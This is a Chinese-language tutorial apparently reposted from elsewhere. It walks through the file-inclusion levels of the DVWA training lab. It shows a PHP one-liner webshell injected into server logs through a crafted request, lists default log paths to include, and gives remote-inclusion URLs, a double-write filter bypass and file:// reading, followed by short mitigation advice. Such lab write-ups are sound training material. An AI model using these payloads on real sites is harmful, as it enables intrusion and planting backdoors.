加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

DVWA漏洞靶场-文件包含(File Inclusion)

发布时间:2020-12-13 22:17:13 所属栏目:PHP教程 来源:网络整理
导读:基本知识: php中引发文件包含漏洞的通常是以下四个函数: include() include_once() require() require_once() require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once()

基本知识:

php中引发文件包含漏洞的通常是以下四个函数:

  1. include()
  2. include_once()
  3. require()
  4. require_once()

   require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

分类:

本地文件包含:

  指的是能打开并包含本地文件的漏洞。

远程文件包含:

  只有当?allow_url_fopen = On,allow_url_include = On 都开启时,才能进行远程文件包含

?

1.low 级别

?

通过源码看到,直接对传入的page参数进行了包含,未作任何过滤

1. 本地文件包含

我dvwa搭建在windows,我现在d盘新建flag.txt,包含方式如下:

但一般在没获取到目录信息的情况下,我们可以对日志的默认位置进行包含

windows: apache/logs/access.log  apache/logs/error.log

linux: /var/log/apache/access.log  /var/log/apache2/access.log  /var/log/apache/access_log  /var/www/logs/access_log  /var/log/access_log

相应的的也有error.log

利用web日志包含

localhost/dvwa/vulnerabilities/fi/?page=<?php @eval($_POST[‘shell‘]);?>

?

?注意浏览器会对特殊字符进行url编码,导致写入一句话失败,可以用burpsuite抓包解码再转发

这样日志中就记录了这次请求,接下来包含日志,就有了一句话木马

也可对ssh日志进行包含等多种方式,ssh日志默认位置  /var/log/auth.log

1. 远程文件包含

http进行包含,利用条件:allow_url_fopen on  &  allow_url_include on(默认关闭)

http://localhost/dvwa/vulnerabilities/fi/?page=http://www.baidu.com

?

?

2.medium 级别

查看源码

发现使用str_replace对http://,https:// 替换成空

对于str_replace函数进行的过滤,可以使用双写进行绕过

http://localhost/dvwa/vulnerabilities/fi/?page=hthttp://tp://www.baidu.com

?

?发现包含成功

?

?

3.high 级别

?查看源码

?

?传入的page要以file开头,可以使用file://协议进行文件读取

?

总结

进行白名单过滤

open_basedir php授权目录设置

open_basedir 可将用户访问文件的活动范围限制在指定的区域

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读